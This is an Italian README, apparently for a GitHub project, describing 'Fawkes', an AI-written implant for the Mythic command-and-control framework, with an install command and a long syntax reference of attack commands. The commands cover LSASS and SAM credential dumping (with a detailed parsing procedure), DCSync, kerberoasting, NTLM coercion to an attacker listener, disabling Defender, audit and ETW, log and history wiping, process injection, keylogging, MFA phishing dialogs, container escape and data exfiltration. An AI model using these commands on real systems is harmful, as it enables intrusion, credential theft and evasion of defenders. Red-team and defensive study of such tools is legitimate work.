Fawkes è un agente C2 Mythic in golang scritto esclusivamente da AI.
# Agente C2 Fawkes Mythic
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes è un agente Mythic C2 interamente vibe-coded. È iniziato come un "mi chiedo" e si è trasformato in un obiettivo. Il mio obiettivo è non scrivere una singola riga di codice per questo agente, ma produrlo esclusivamente tramite prompt.
Inizialmente ho tentato di scrivere l'agente da solo, ma dopo aver clonato il container di esempio, letto la documentazione di Mythic, guardato i video della serie di sviluppo su YouTube e copiato codice da altri agenti come Merlin o Freyja, ho deciso che semplicemente non avevo tempo per sviluppare il mio agente. Un prompt, invece, per quello ho tempo.
Fawkes è un agente basato su Golang con capacità cross-platform. Supporta **Windows** (payload EXE, DLL e shellcode), **Linux** (binari ELF e librerie condivise) e **macOS** (binari Mach-O per Intel e Apple Silicon). **213 comandi** in totale: 113 cross-platform, 82 solo Windows, 21 solo Unix, 11 solo Linux e 6 solo macOS (alcuni comandi hanno implementazioni specifiche per piattaforma che condividono un nome comune, es. screenshot). Supporta l'egresso HTTP e il collegamento peer-to-peer (P2P) TCP per il pivoting interno.
## Installazione
Per installare Fawkes, avrai bisogno di Mythic installato su un computer remoto. Puoi trovare le istruzioni di installazione per Mythic nella [pagina del progetto Mythic](https://github.com/its-a-feature/Mythic/).
Dalla directory di installazione di Mythic:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## Riferimento rapido dei comandiCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Legge/modifica DACL degli oggetti Active Directory (aggiunge/rimuove ACE, concede DCSync, GenericAll, backup/restore). Multipiattaforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumera i servizi certificati AD, trova template vulnerabili (ESC1-ESC4, ESC6 via DCOM), richiede certificati tramite DCOM per lo sfruttamento di ESC1/ESC6, o auto-sfruttamento (catena find → parse → request). Multipiattaforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Solo Windows)** Gestisce flussi di dati alternativi NTFS — scrive, legge, elenca o elimina flussi dati nascosti. Supporta testo e binario codificato in esadecimale. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Interroga e pulisce gli artefatti forensi di esecuzione. Windows: Shimcache. Linux: recently-used.xbel, miniature, Tracker. macOS: elementi recenti, KnowledgeC, quarantena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Solo Windows)** Iniezione in processo remoto. `-method apc` (default) accoda shellcode tramite NtQueueApcThread in un thread allertabile (usa `ts` per trovarne uno). `-method hwbp` si collega tramite DebugActiveProcess, imposta un breakpoint hardware su DR0 su un'API target (default `ntdll!NtDelayExecution`) e reindirizza Rip verso lo shellcode quando il breakpoint si attiva — nessun TID richiesto, nessuna coda APC, nessun CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Registra audio dal microfono e carica file WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multipiattaforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Solo Windows)** Interroga e modifica i criteri di audit di Windows. Disabilita la registrazione degli eventi di sicurezza prima di operazioni sensibili. La modalità stealth disabilita le sottocategorie critiche per il rilevamento. Usa API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Solo Windows)** Esegue un comando con argomenti di processo falsificati. Supera Sysmon Event ID 1 e la telemetria della riga di comando degli EDR (T1564.010).
arp | `arp [-ip <subnet>]` o `arp -action spoof -target <IP> -gateway <IP>` | Mostra la tabella ARP con filtri, o avvelenamento della cache ARP per posizionamento MITM (T1557.002). Spoof: solo Linux, ripristina alla pulitura.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Richiede ticket AS-REP per account senza pre-autenticazione ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.004).
av-detect | `av-detect [-deep true]` | Rileva prodotti AV/EDR/sicurezza installati scandendo i processi in esecuzione contro un database di oltre 130 firme. Con `--deep`, controlla anche moduli kernel, unità systemd e directory di configurazione per prodotti installati ma non in esecuzione (Linux). Riporta prodotto, vendor, tipo e PID. Multipiattaforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Solo Windows)** Applica automaticamente una patch a una funzione saltando alla più vicina istruzione di ritorno (C3). Utile per bypass di AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Toolkit di codifica dati: base64, XOR (con chiave stringa/hex), hex, ROT13, percent-encoding URL, cifrario di Cesare. Tutti supportano I/O su file. Multipiattaforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Solo Windows)** Gestisce lavori di trasferimento BITS per persistenza e download furtivo di file. Crea, sospende, riprende, completa lavori e imposta comandi di notifica per persistenza. I lavori sopravvivono ai riavvii (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Raccoglie dati del browser da Chromium, Firefox e Safari. Cronologia, autofill, segnalibri, download multipiattaforma. Password: Chromium (DPAPI/Keychain/Portachiavi GNOME), Firefox (decifratura NSS key4.db), Safari (Portachiavi macOS). Cookie Firefox su tutte le piattaforme. MITRE T1555.003, T1217.
cat | `cat <file>` o `cat -path <file> -start N -end N -number true` | Mostra il contenuto di un file con intervallo di righe opzionale, numerazione e protezione da dimensioni superiori a 5MB.
cd | `cd <directory>` | Cambia la directory di lavoro corrente.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modifica i permessi di file/directory con notazione ottale (755, 644) o simbolica (+x, u+rw, go-w). Supporto ricorsivo. Multipiattaforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Solo Linux/macOS)** Cambia la proprietà di file/directory per nome utente/UID e nome gruppo/GID. Supporto ricorsivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Ispeziona i certificati TLS su host remoti — identifica CA, certificati autofirmati, scadenza, SAN, versione TLS, suite di cifratura e impronte SHA256. Multipiattaforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Solo Windows)** Enumera i depositi di certificati di Windows per trovare certificati per firma codice, autenticazione client e chiavi private. Cerca in CurrentUser e LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Legge/scive gli appunti o li monitora continuamente per rilevare pattern di credenziali. Multipiattaforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadati cloud, estrazione credenziali, enumerazione IAM, enumerazione storage, persistenza e accesso a depositi segreti. storage/aws-s3/azure-blob/gcp-gcs: enumera bucket/container con oggetti di esempio. aws-ssm: SSM Parameter Store con decifratura. azure-keyvault: segreti Key Vault tramite identità gestita. gcp-secrets: Secret Manager tramite account di servizio. aws-persist/azure-persist: crea chiavi di accesso/registrazioni app a lunga durata. Rilevamento automatico. IMDSv2. Multipiattaforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Crea, elenca, estrae, mette in scena o esfiltra archivi. Stage cifra con AES-256-GCM. Exfil trasferisce a Mythic. exfil-https: carica su URL pre-firmati S3/Azure/GCS con upload chunked, header personalizzati, jitter. exfil-github: esfiltra tramite API GitHub Contents. Multipiattaforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coercizione dell'autenticazione NTLM tramite MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Forza il target ad autenticarsi presso l'ascoltatore dell'attaccante. Supporto pass-the-hash. Multipiattaforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Visualizza o modifica la configurazione runtime dell'agente, o auto-aggiorna il binario dell'agente. `show`/`set`: sleep, jitter, kill date, ore lavorative. `update`: scarica nuovo payload da Mythic, verifica, avvia e termina l'agente corrente. Multipiattaforma (T1105).
container-detect | `container-detect` | Rileva l'ambiente di esecuzione del contenitore (Docker, K8s, LXC, Podman, WSL). Controlla vettori di escape come socket Docker e account di servizio K8s. Multipiattaforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Solo Linux)** Breakout del contenitore + operazioni K8s — socket Docker, cgroup, nsenter, mount del dispositivo host. K8s: enumera pod/servizi, legge segreti, **k8s-rbac**: scansione ClusterRole/RoleBinding + punteggio percorsi di escalation dei privilegi (crit/warn/info), **k8s-nodes**: superficie d'attacco dei nodi del cluster (kubelet/OS/kernel/CIDR/taints/ruoli), **k8s-etcd**: scopre endpoint client etcd dagli argomenti dei pod del control-plane + probe `/version` non autenticato per endpoint (lettura non autenticata = compromissione completa del cluster), deploy/esegue pod tramite API. **Fuori dal cluster**: `-kubeconfig` accetta file kubeconfig rubati per accesso K8s da host non contenitore (token + autenticazione certificato client) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copia un file dalla sorgente alla destinazione.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Testa le credenziali contro SMB, WinRM e LDAP sugli host target. `verify-all` testa tutte le credenziali del deposito contro gli host scoperti in parallelo. Multipiattaforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Raccoglie credenziali: hash shadow (Unix), configurazioni cloud (AWS/GCP/Azure/K8s), segreti di applicazioni, scansione della cronologia della shell per password/token/chiavi API trapelate, cronologia PowerShell + variabili d'ambiente + RDP (Windows), token OAuth/JWT M365 da TokenBroker/Teams/Outlook (Windows), **browser-live**: ruba cookie live, localStorage, sessionStorage tramite protocollo Chrome DevTools (CDP) da Chrome/Edge in esecuzione. **dump-all**: catena automatica di sotto-attività — esegue hashdump + lsa-secrets + cred-harvest tutti in parallelo (Windows). Multipiattaforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Mostra un dialogo nativo per le credenziali, abusa del flusso OAuth device code o esegue phishing di codici MFA. dialog: AppleScript su macOS, CredUI su Windows, zenity/kdialog su Linux. device-code: flusso Azure AD OAuth device code per catturare token. mfa-phish: falso dialogo di verifica MFA per catturare codici TOTP. Multipiattaforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Richieste HTTP + upload file per esfiltrazione (T1567). Carica su URL pre-firmati S3, SAS Azure, endpoint generici. Multipiattaforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Estrae campi o intervalli di caratteri da righe di file. Delimitatori personalizzati, specifiche di intervallo. Multipiattaforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumera i depositi di credenziali della piattaforma. Windows: Gestione Credenziali + Vault (CredEnumerateW, vaultcli.dll). Linux: Portachiavi GNOME (secret-tool), KDE KWallet, password WiFi/VPN di NetworkManager, Account Online GNOME. macOS: elementi del Portachiavi (password generiche + internet), password WiFi. `list`=metadati, `dump`=con segreti, `vault`=solo Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Solo Windows)** Gestisce Defender — stato, esclusioni, minacce, abilita/disabilita protezione in tempo reale. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Solo Windows)** Decifratura blob DPAPI (CryptUnprotectData), enumerazione chiavi master, estrazione chiavi di cifratura Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Solo Windows)** Accede alla cassetta postale di Outlook tramite COM. Conta messaggi, cerca per parola chiave, legge per indice, elenca cartelle. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Solo Windows)** Esegue comandi, carica file o mette in scena ed esegue su host remoti tramite DCOM. `check` valida i prerequisiti RPC/DCOM. upload: trasferisce file tramite staging con certutil/PowerShell. exec-staged: carica poi esegue con pulizia automatica. Sei oggetti COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Rileva debugger collegati, strumenti di analisi e strumentazione. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registri DR. Linux: TracerPid, LD_PRELOAD, mappe di memoria (Frida/Valgrind/sanitizer), VM/sandbox, monitoraggio eBPF (Falco/Tetragon/Tracee), framework auditd, ambito ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, rilevamento VM (sysctl), prodotti di sicurezza (EDR/AV), ambiente sandbox/analisi. Tutti: scansione dei processi di debug (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replica le credenziali AD tramite DRS senza toccare LSASS. `domain-takeover` esegue kerberoast + asrep-roast + dcsync krbtgt/Administrator in parallelo. Multipiattaforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Riporta l'uso dello spazio su disco del filesystem con filtri opzionali per dispositivo, punto di mount o tipo di filesystem. Multipiattaforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Confronta due file e mostra le differenze in formato unificato diff. Algoritmo basato su LCS con numero configurabile di righe di contesto. Multipiattaforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumerazione DNS — risolve host, interroga record, scopre DC, trasferimenti di zona, rilevamento wildcard, risoluzione furtiva DNS-over-HTTPS, esfiltrazione DNS. Multipiattaforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Riporta l'uso del disco per file e directory. Suddivisione delle dimensioni per sottodirectory, ordinato per più grande. Multipiattaforma (T1083).
drivers | `drivers [-filter <name>]` | Enumera i driver/moduli kernel caricati. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumerazione kext. Multipiattaforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Criteri password/lockout AD e enumerazione FGPP tramite LDAP. Raccomandazioni spray-safe. Multipiattaforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Solo Linux/macOS)** Elenca, aggiunge o rimuove lavori cron per persistenza. Supporta voci cron raw o sintassi programma+programmazione.
download | `download <path>` o `download {"path": "/file", "compress": true}` | Scarica un file o una directory dal target. File >1MB auto-compressi con gzip (configurabile). Directory auto-zipate. Verifica hash SHA256. Trasferimento chunked, integrazione con il browser dei file.
drives | `drives` | Elenca unità/volumi disponibili e filesystem montati con tipo, etichetta/dispositivo e spazio libero/totale.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Solo Windows)** Enumera i token di accesso in tutti i processi. `list` mostra PID/user/integrity/session per ogni processo. `unique` raggruppa per utente con conteggi dei processi. Abilita automaticamente SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Cifratura/decifratura AES-256-GCM (T1486) + corruzione mirata di file (T1565). corrupt: sovrascrive le intestazioni dei file con dati casuali. Necessari cancelli di sicurezza per operazioni distruttive.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Elenca, ottiene, imposta o rimuove variabili d'ambiente per il processo agente. Le modifiche sono ereditate dai processi figli. Multipiattaforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Scansiona le variabili d'ambiente dei processi per credenziali trapelate, chiavi API e segreti. Oltre 35 pattern di rilevamento tra categorie cloud, database, CI/CD e criptovalute. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipolazione del sottosistema di audit/telemetria. Windows: sessioni/providers ETW stop/blind/blind-all/enable/patch/restore. Linux: regole auditd, journald clear/rotate, configurazione syslog, rilevamento agente SIEM. macOS: logging unificato, rilevamento agente di sicurezza. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gestisce i log degli eventi di sistema. Windows: canali wevtapi.dll. Linux: unità journald e file syslog. macOS: Logging Unificato (os_log) sottosistemi/processi. Elenca origini, interroga eventi, cancella/vuota log, ottiene informazioni. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Esegue un binario nativo dalla memoria. Linux: memfd_create (nessuna scrittura su disco). macOS: file temporaneo con ad-hoc codesign. Windows: file temporaneo con pulizia immediata. Tutte le piattaforme rimuovono gli artefatti dopo l'esecuzione. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Esegue shellcode nel processo corrente. Supporta shellcode codificato XOR/AES-256-CTR con decodifica runtime (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (default) o memfd_create. macOS: MAP_JIT (ARM64) o mmap. Multipiattaforma (T1059.006, T1620).
exit | `exit` | Comunica all'agente di terminare.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Ottiene o imposta attributi di file — nascosto, sola lettura, di sistema (Windows); immutabile, append, nodump (Linux); nascosto, immutabile (macOS). Ometti -attrs per visualizzare i flag correnti. Multipiattaforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identifica i tipi di file tramite magic byte (oltre 35 firme). Singolo file o scansione di directory. Rileva eseguibili, archivi, documenti, immagini, database, media e altro. Multipiattaforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Cerca file per nome, dimensione, data, permessi o proprietario. Trova binari SUID, file scrivibili da tutti, file di proprietà di utenti specifici. Multipiattaforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Scansiona gli host per scoprire dove le credenziali hanno accesso amministratore tramite SMB (condivisione C$) e/o WinRM. **auto-move**: catena automatica di sotto-attività — trova host admin poi si muove lateralmente a ciascuno tramite psexec/wmi. Supporta CIDR, intervalli IP, PTH, scansione parallela (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gestisce le regole del firewall. Windows: API COM. macOS: ALF + regole pf ancorate. Linux: iptables/nftables (rilevamento automatico). Supporto ancoraggio PF per filtraggio pacchetti su macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Elenca privilegi/capacità. Windows: privilegi del token con abilita/disabilita/strip. Linux: capacità del processo (CapEff/CapPrm) + contesto SELinux/AppArmor. macOS: entitlements, sandbox, gruppi (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalation dei privilegi. Windows: SYSTEM tramite furto di token o potato DCOM. Linux: controlla vettori di escalation (SUID, sudo, capacità, docker) o tenta elevazione sudo. macOS: controlla vettori, sudo o prompt amministrativo osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Cerca nei file XML GPP in SYSVOL con attributi cpassword cifrati e li decifra usando la chiave AES pubblicata (MS14-025). Multipiattaforma tramite SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumera gli oggetti Criteri di Gruppo tramite LDAP — elenca GPO, mappa i collegamenti con applicazione forzata, trova impostazioni interessanti CSE. Multipiattaforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Cerca il contenuto dei file con pattern regex. Ricerca ricorsiva in directory con filtri di estensione, righe di contesto e skip dei file binari. Multipiattaforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcola hash di file (MD5, SHA-1, SHA-256, SHA-512). Singoli file o directory con filtro glob pattern e controllo profondità. Multipiattaforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Mostra il contenuto del file in formato hex+ASCII stile xxd. Controllo offset/lunghezza per esaminare regioni specifiche, massimo 4096 byte. Multipiattaforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumera gli handle/descrittori di file aperti in un processo. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Estrae hash delle password degli account locali. Windows: hash NTLM dal registro SAM (richiede SYSTEM); **insitu**: enumera sessioni di accesso attive tramite API LSA in-process (richiede admin); **insitu-full**: apre lsass.exe con PROCESS_VM_READ, scansiona sig di lsasrv.dll per LogonSessionList, percorre la lista concatenata, sovrappone il layout KIWI_MSV1_0_LIST_63 su ogni nodo per estrarre LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, percorre la catena di credenziali per AuthPackage a credentials_ptr per catturare ogni busta KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, scansiona sig di LsaInitializeProtectedMemory_Internal per recuperare i globali della chiave BCrypt IV / h3DesKey / hAesKey più i byte raw IV 16 byte / 3DES 24 byte / AES 32 byte, decifra AES-256-CFB / 3DES-CBC ogni blob cifrato catturato (selezionato per blob da `len % 8`), e sovrappone il layout KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW per estrarre hash NT/LM/SHA — emessi in formato `username:rid:lm:nt:::` compatibile con l'hook ProcessResponse del deposito credenziali dell'azione dump-action (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, richiede admin). Linux: hash da /etc/shadow con identificazione del tipo di hash (richiede root). macOS: hash PBKDF2 dei Servizi Directory dai plist utente (richiede root). **auto-spray**: scarica hash poi li spruzza automaticamente tramite cred-check contro gli host target. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Elenca o cancella i file di cronologia dei comandi shell/applicazione. Copre bash, zsh, fish, PowerShell, python, mysql e altri. Multipiattaforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Process hollowing — crea processo sospeso, scrive shellcode, reindirizza esecuzione. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID spoofing, blocco DLL, decorazione PEB (mascheramento ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + scrittura /proc/mem. **macOS:** ptrace + API Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — richiede root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumera configurazioni IDE — estensioni VS Code, host SSH remoti, progetti recenti, impostazioni con segreti. Origini dati JetBrains, server di deployment, progetti recenti. Multipiattaforma (T1005, T1083).
ifconfig | `ifconfig` | Elenca le interfacce di rete con indirizzi, MAC, MTU e flag. Multipiattaforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Solo Windows)** Esegue un assembly .NET in memoria usando il CLR. Supporta argomenti da riga di comando. Usa `start-clr` prima per il flusso di lavoro di patching AMSI.
inline-execute | `inline-execute` | **(Solo Windows)** Esegue un Beacon Object File (BOF/COFF) in memoria. Supporta tutti i tipi di argomento: stringhe (z), stringhe wide (Z), interi (i), short (s) e binario (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Solo Windows)** Carica un PE nativo (DLL) dalla memoria nel processo corrente. Mapping manuale PE con copia delle sezioni, fixup di rilocazione, risoluzione delle importazioni e invocazione di DllMain. Opzionalmente chiama funzioni esportate (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Solo Linux)** Enumerazione e gestione del firewall Linux tramite iptables/nftables/ufw. IP forwarding, connection tracking, elenco e modifica delle regole. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Ferma un'attività in esecuzione tramite ID attività. Usa `jobs` per elencare le attività in esecuzione. Multipiattaforma.
jobs | `jobs` | Elenca le attività attualmente in esecuzione con ID attività, nome del comando e durata. Multipiattaforma.
jxa | `jxa -code '<script>' [-timeout 60]` o `jxa -file /path/to/script.js` | **(Solo macOS)** Esegue script JavaScript for Automation (JXA) con accesso al bridge ObjC ai framework Foundation, AppKit, Security. Supporta codice inline e input da file (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Richiede ticket TGS per account SPN ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumera, scarica, pulisce e importa ticket Kerberos. L'importazione abilita Pass-the-Ticket: Windows inietta kirbi tramite LSA, Linux/macOS scrive ccache e imposta KRB5CCNAME. Multipiattaforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Solo macOS)** Accede al Portachiavi macOS — elenca portachiavi, scarica metadati, trova password generiche/internet, enumera certificati.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumera le relazioni di delega Kerberos — non vincolata, vincolata (con transizione di protocollo), RBCD. **monitor** action (Solo Windows/SYSTEM) interroga LSA per TGT in arrivo e li esporta come blob kirbi. Multipiattaforma tranne monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Logger della tastiera a basso livello. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Rileva eventi incolla Ctrl+V/Cmd+V e cattura il contenuto degli appunti. Tracciamento del contesto della finestra su tutte le piattaforme (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Testa le opzioni di movimento laterale contro i target — controlla connettività SMB, WinRM, RDP, RPC, SSH e suggerisce metodi applicabili. Multipiattaforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostra la cronologia degli accessi, tentativi di accesso falliti ed eventi di avvio/arresto del sistema. Linux: analizza wtmp/btmp. Windows: log eventi di sicurezza/sistema. macOS: `last` nativo + log unificato. (T1087.001, T1110, T1082).
```
---
[Read more](https://github.com/galoryber/fawkes)